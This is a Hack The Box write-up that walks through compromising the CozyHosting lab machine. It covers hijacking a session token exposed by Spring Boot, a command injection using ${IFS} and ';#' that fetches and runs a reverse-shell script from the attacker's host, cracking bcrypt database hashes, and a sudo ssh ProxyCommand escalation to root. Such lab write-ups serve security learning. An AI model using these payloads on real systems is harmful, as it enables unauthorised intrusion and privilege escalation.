# CozyHosting

[CozyHosting](https://app.hackthebox.com/machines/CozyHosting) is an **EASY** machine from the Hack The Box platform. In it we will take advantage of a **framework** vulnerability to obtain a session cookie that will allow us to log into a control panel. There we will be able to execute an **RCE** due to a bad sanitization in a text entry. Thanks to the RCE we will be able to obtain a **Reverse Shell** in the target system. Once inside the system, we will find some credentials in a database that will allow us to perform a **user pivoting**. Finally, we will take advantage of the **sudo privileges** of a binary to obtain a console as root.

***

## Enumeration <a href="#user-content-enumeration" id="user-content-enumeration"></a>

Let’s start by scanning the open TCP ports of the target machine:

`nmap -p- --open -sS --min-rate 5000 -n -Pn 10.10.11.230 -vvv -oG allPorts`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FNgJhO4WsQetTY1gpjvvQ%2FPasted%20image%2020231002193732.png?alt=media&#x26;token=bb6d49ad-29c3-4a52-b1d5-ea9ee62bab80" alt=""><figcaption></figcaption></figure>

The scan reported that the ports 22(ssh) and 80(http) are open. Let’s do an exhaustive scan in those ports to try to identify the services and its versions.

`nmap -sCV -p22,80 10.10.11.230 -oN targeted`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F7mrLERN5Hjeb4qmZNO1C%2FPasted%20image%2020231002193850.png?alt=media&#x26;token=6dd81a5b-c699-4615-a199-9960945dca91" alt=""><figcaption></figcaption></figure>

Apparently, there is an OpenSSH service running on the TCP port 22. On TCP port 80 is running a nginx service.

It’s worth performing a quick scan of common paths and files using the nmap ***http-enum*** script.

`nmap --script=http-enum -p80 10.10.11.230 -oN webContent`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FeBeleytfdU6wq9sFFPRi%2FPasted%20image%2020231002194447.png?alt=media&#x26;token=cfea7718-a351-4fc3-920b-3e25ce5f517a" alt=""><figcaption></figcaption></figure>

Unfortunately, the scan did not reveal any information.

Next we are going to use the **whatweb** tool to try to find out what web tools are being used and their versions.

`whatweb http://10.10.11.230`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJwiL1edcFlVgIdXFR25d%2FPasted%20image%2020231002194512.png?alt=media&#x26;token=6a340823-73b3-45eb-915b-6abbd7637102" alt=""><figcaption></figcaption></figure>

It tries to redirect us to [http://cozyhosting.htb](http://cozyhosting.htb/). Let’s add this domain in the **/etc/hosts** file:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FaPPJ3DySZZesAkelJcDg%2FPasted%20image%2020231002194841.png?alt=media&#x26;token=0d1f29f2-3fab-461b-aa7f-3267a233a7df" alt=""><figcaption></figcaption></figure>

Let’s use whatweb again to see if this time we get some more information:

`whatweb http://cozyhosting.htb`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FNVNPvFC5i6bbCn7gDvSr%2FPasted%20image%2020231002194908.png?alt=media&#x26;token=c398aab1-fb86-461e-b6ec-8d75fed95699" alt=""><figcaption></figcaption></figure>

We see some information, but besides an email address (<info@cozyhosting.htb>) there doesn’t seem to be anything useful that we haven’t seen so far.

Let’s check the website using the web-browser:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-ac6f44588f914427badba6b01cd9a0fe2b074678%2Fcozyhosting6.png?alt=media" alt=""><figcaption></figcaption></figure>

The source code of the page does not seem to reveal anything that we can use at the moment. We see that there is a Login button, let’s click it:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-c3cefe1d95a46fbabf3d95f608cd483293d5bc8a%2Fcozyhosting7.png?alt=media" alt=""><figcaption></figcaption></figure>

We see a login panel. We can try to see if it is vulnerable to **SQL injection**:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-107904d98f9718f3e1e700af9e141a704b00e3a0%2Fcozyhosting8.png?alt=media" alt=""><figcaption></figcaption></figure>

After testing with the most common queries, it does not appear to be vulnerable to SQLi.

We are going to use the gobuster tool to search for directories:

`gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://cozyhosting.htb -t 20`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FZstU2cX2VZMp3NcwT5TD%2FPasted%20image%2020231002195945.png?alt=media&#x26;token=192dbd8f-57f6-44cf-9a5b-3508a872ff98" alt=""><figcaption></figcaption></figure>

Let’s search for subdomains, to see if we can find any:

`gobuster vhost -u http://cozyhosting.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --append-domain -t 20`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FpFNMELX0zxgKqTZ9R28f%2FPasted%20image%2020231002200717.png?alt=media&#x26;token=27dd0fd4-4a96-4a89-ba39-0f5be13aa3f6" alt=""><figcaption></figcaption></figure>

Nooothing, as the server is using nginx, let’s try using the nginx wordlist:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FhQWyvj7DoC56mEw2jVdB%2FPasted%20image%2020231002201747.png?alt=media&#x26;token=700e1c49-578a-4451-a3cb-f3d8f5d7fff7" alt=""><figcaption></figcaption></figure>

Nothing!

After a while looking at the web page, I realized that when I do hovering over the icon in the mainpage, the url is <http://cozyhosting.htb/index.html>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FBWl4kborrg7X1hgph3Yf%2FPasted%20image%2020231002201726.png?alt=media&#x26;token=39daad48-94b3-48b9-a593-059961928d6f" alt=""><figcaption></figcaption></figure>

When I click on that icon this page appears:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FyJj5uiTDNmmxBaAmjGi2%2FPasted%20image%2020231002202153.png?alt=media&#x26;token=c60b5d39-4e21-41ae-bb9e-492a7132c774" alt=""><figcaption></figcaption></figure>

Searching in Google for “Whitelabel Error Page exploit” I found [this interesting link](https://exploit-notes.hdks.org/exploit/web/framework/java/spring-pentesting/).

It seems that if we see this error, the server may be using Spring Boot:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F7ULasebtlgV096vTE4nn%2FPasted%20image%2020231002202351.png?alt=media&#x26;token=659f63c3-42a3-4c68-aac4-fcf9dcb8cae9" alt=""><figcaption></figcaption></figure>

There is a wordlist called “spring-boot.txt” on SecLists that we can use to check it:

`gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/spring-boot.txt -u http://cozyhosting.htb -t 20`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fban1Nu4hqBNni1z5OLk7%2FPasted%20image%2020231002202442.png?alt=media&#x26;token=d011d34c-55b7-48f2-8fba-8a22afdf07b4" alt=""><figcaption></figcaption></figure>

Looks like Spring is being used. It may be vulnerable to SSTI, but we have not found any point for exploiting this vulnerability yet.

At <http://cozyhosting.htb/actuator/sessions> we can see that there are some tokens. One of them appears to be related to the user **kanderson**.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Ft2JIdgyLbeDA10ETFb5b%2FPasted%20image%2020231002223056.png?alt=media&#x26;token=41eef0ce-44a9-4646-958b-36a753de5ad5" alt=""><figcaption></figcaption></figure>

Let’s intercept the login request on <http://cozyhosting.htb/login> with **BurpSuite**

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FpzyOePeJLI9VOEseQjOJ%2FPasted%20image%2020231002203517.png?alt=media&#x26;token=ae4f98b1-ef2b-40e7-b071-970c0cb32891" alt=""><figcaption></figcaption></figure>

Here we can see that the website is using a Cookie named **JSESSIONID**. Let’s try to change the value with the one of the kanderson session:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FflduMTYR5bECS8MyBJdC%2FPasted%20image%2020231002223142.png?alt=media&#x26;token=e1595143-9243-446e-9917-6fdeec6f058f" alt=""><figcaption></figcaption></figure>

Once done, let’s try to access to <http://cozyhosting.htb/admin>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FtN8sBaqz3qj5Ha3x5Ep7%2FPasted%20image%2020231002223202.png?alt=media&#x26;token=df1b92d1-7d67-445e-9ad5-55303f84b091" alt=""><figcaption></figcaption></figure>

Yeah, access granted. Let’s take a look at what we can do. All the links are broken, but we have a form we can send.

Let’s intercept the request using **BurpSuite**:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fv0nCbkSRmDeCOxNRczbV%2FPasted%20image%2020231013164811.png?alt=media&#x26;token=686b2e8b-41b8-4851-8e04-014420866858" alt=""><figcaption></figcaption></figure>

Apparently we are receiving the output of an ssh command that doesn’t recognize “test” as a hostname.

If we don’t provide an username this error appears:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-8091809024f8dccdedb539f2bc7c8c64452fc4a7%2Fcozyhosting21.png?alt=media" alt=""><figcaption></figcaption></figure>

It appears to be executing something like `ssh <hostname>:<username>` and not giving the username input leads into that error.

Maybe we can concatenate code to make the target execute it? Let’s try it writing in the input `;ping -c1 10.10.14.7` and listening for icmp in our machine to see if the code gets executed: `tcpdump -i tun0 icmp -n`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fz05Md2pT8F2nue3BuLGs%2FPasted%20image%2020231013170314.png?alt=media&#x26;token=7cd05270-d36f-44d8-b34a-9bcf967eb6c3" alt=""><figcaption></figcaption></figure>

Apparently the input cannot contain whitespaces, and URL encoding them don’t help. We can try replacing the spaces with `${IFS}` that will be interpreted by the bash as a space. So, the username input will look like this: `;ping${IFS}-c1${IFS}10.10.14.7`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F8ImXMquB5fkCYeEQPLCZ%2FPasted%20image%2020231013171105.png?alt=media&#x26;token=2f4b4115-911d-44b1-8f81-05b9a3f9e5e3" alt=""><figcaption></figcaption></figure>

Now the input seems right, but we keep getting an error. Maybe the command is not `ssh <hosname>:<username>` and it’s something like `ssh <hostname>:<username> flags and more code`. If this is the case, maybe we can comment everything at the right of out input by adding `;#` to the input. So the username input would be: `;ping${IFS}-c1${IFS}10.10.14.7;#`

Yeah! Our machine received a ping from the target machine, so we can execute commands in the target machine. Let’s try to obtain a **reverse shell**:

`;wget${IFS}http://10.10.14.7/revshell.sh${IFS}-P${IFS}/tmp;#`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FxNvrFMfeGBf7JUYplYWe%2FPasted%20image%2020231013173415.png?alt=media&#x26;token=4ff79071-f40f-4ae9-aa75-44782b34cfc5" alt=""><figcaption></figcaption></figure>

Now, let’s change the permissions of the file to make it executable:

`;chmod${IFS}`755`${IFS}/tmp/revshell.sh;#`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fer7Hf6fSiZxz4SAcF0Jp%2FPasted%20image%2020231013173555.png?alt=media&#x26;token=1b4ebb7e-5d0b-4aec-9406-73ce709916b3" alt=""><figcaption></figcaption></figure>

And now, let’s try to execute the script! `;/tmp/revshell.sh;#`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FFJbf9ik0Wa7btSMTQrwV%2FPasted%20image%2020231013173623.png?alt=media&#x26;token=4c5e4f75-41fb-4748-89b5-df739d7e1a56" alt=""><figcaption></figcaption></figure>

And we obtained a **reverse shell**!

Let’s do the ***tty treatment***:

```
script -c bash /dev/null
CTRL + Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash
stty columns 206 rows 52
```

Once done, let’s see with which user are we logged as:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FEmCgZQMTiXSydjuPmkID%2FPasted%20image%2020231013174212.png?alt=media&#x26;token=87101809-630b-4954-9195-a553613ae7ed" alt=""><figcaption></figcaption></figure>

Let’s take a look to the ***/etc/pass*** to see with users are registered with a bash:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FcVUuUyfGtEPhUsI61VvN%2FPasted%20image%2020231013174255.png?alt=media&#x26;token=1907b5d4-8575-4ad8-9293-6bf0c89bb4d4" alt=""><figcaption></figcaption></figure>

So, **josh** and **root**.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FDLZfBnVskPBw6aiBIYFA%2FPasted%20image%2020231013174827.png?alt=media&#x26;token=16e9fb8a-cff0-44fe-bdc5-b0ff7ff2c677" alt=""><figcaption></figcaption></figure>

There is a **jar** file on the current directory, so let’s transfer it to our machine to extract the data just in case there is anything useful.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FA5PQDxXfX0t3LT6LaRXH%2Fimagen.png?alt=media&#x26;token=8389aed5-a224-46f5-8e10-24f3de36d520" alt=""><figcaption></figcaption></figure>

I don’t know if it will be useful, but we got credentials to access a database: `postgres:VXXXXXXXxR`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJdX2fILeIaWHK5dhuphK%2FPasted%20image%2020231013175843.png?alt=media&#x26;token=43597954-0c55-4375-8590-248102a8eca4" alt=""><figcaption></figcaption></figure>

The credentials were valid and now we can take a look to the database info!

With the command `\dt` **psql** shows us the tables of the current database:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F0599l7canlbyGjXOSW8j%2FPasted%20image%2020231013180058.png?alt=media&#x26;token=4e4ce0d9-2a51-4b86-91e8-4362bd87a318" alt=""><figcaption></figcaption></figure>

With the command `\d <table_name>` we can see the columns of a table. In this case, the table **hosts**:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FJUHEv91QAyKwyX3uqmv0%2FPasted%20image%2020231013180342.png?alt=media&#x26;token=cd628287-9e4d-48ec-9705-d84bc8086563" alt=""><figcaption></figcaption></figure>

With the query `SELECT id, username, hostname FROM host;` we can dump all the info contained in these columns:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FQES0waklGUe5zPwslWal%2FPasted%20image%2020231013180721.png?alt=media&#x26;token=74218d33-be79-4264-a02a-e52060d30af8" alt=""><figcaption></figcaption></figure>

Let’s do the same for the table **users**:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FBDvAuvkWNcRdaADavWgA%2FPasted%20image%2020231013180848.png?alt=media&#x26;token=5ad8fa20-2182-43c9-afc3-e1ab470dd9f2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F4TeX7GCQ4ViKlDjalSJa%2Fimagen.png?alt=media&#x26;token=d11924f4-3500-47f7-a3d0-ab8490b8657f" alt=""><figcaption></figcaption></figure>

The passwords are encrypted, apparently in bcrypt. Let’s try to crack them using **john**:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FvEGqJeiXb3l5cpYW0Lez%2Fimagen.png?alt=media&#x26;token=30de6b77-841f-4780-ae5f-2b9d0fa57c56" alt=""><figcaption></figcaption></figure>

After a while, **john** reports a coincidence for the admin password. et’s check if that password allows us to do user pivoting:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2Fgit-blob-5f463e7f3ad7429516a0265882e5fac0d52a39c7%2Fcozyhosting38.png?alt=media" alt=""><figcaption></figcaption></figure>

It didn’t work for root user, but it did for **josh**.

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FSRdDXoNjUA5ueJoN1UWw%2FPasted%20image%2020231013182038.png?alt=media&#x26;token=7ec43361-f237-4530-b2a4-3a8ef5133ceb" alt=""><figcaption></figcaption></figure>

We found the user flag inside the user folder of josh. Now it’s time to do privilege escalation

## Privilege Escalation <a href="#user-content-privilege-escalation" id="user-content-privilege-escalation"></a>

First of all let’s check if **josh** belongs to any privileged group or have any sudo permissions:

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FNi7gdhJtBFamm8qoIQz8%2FPasted%20image%2020231013182202.png?alt=media&#x26;token=d8984e94-b8a8-42a6-a1b3-401162a5870f" alt=""><figcaption></figcaption></figure>

**josh** can run ssh as **root**! According to gtfobins.io, executing ssh with sudo rights can give us an interactive root shell!

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2FsWiJtiJtSwUlM3wpRYY0%2FPasted%20image%2020231013182507.png?alt=media&#x26;token=bbb9bf18-47c9-47f9-a38a-063ebb4c7049" alt=""><figcaption></figcaption></figure>

`sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x`

<figure><img src="https://3648139271-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FDU2KcTfFp1xEzUDMyoAe%2Fuploads%2F0VS6di5p4WAikCAQCUbI%2FPasted%20image%2020231013182736.png?alt=media&#x26;token=b6bfc4b4-a3f3-4ba1-a60f-864d06820ca9" alt=""><figcaption></figcaption></figure>

And just like that we obtained a root shell, went to /root folder and found the root flag!

## New things learned <a href="#user-content-new-things-learned" id="user-content-new-things-learned"></a>

* `${IFS}` is interpreted by **bash** as a white space. Useful for inputs.
* In cases where we think we can inject a command it’ll be necessary to add `;` before the command we want to inject (in order to make sure that it’ll be executed after the rest of the command before) and append `;#` after the command we want to inject (in order to comment the rest of the command on the right if any)
* **.jar** files are compressed files that can be decompressed with **unzip**.
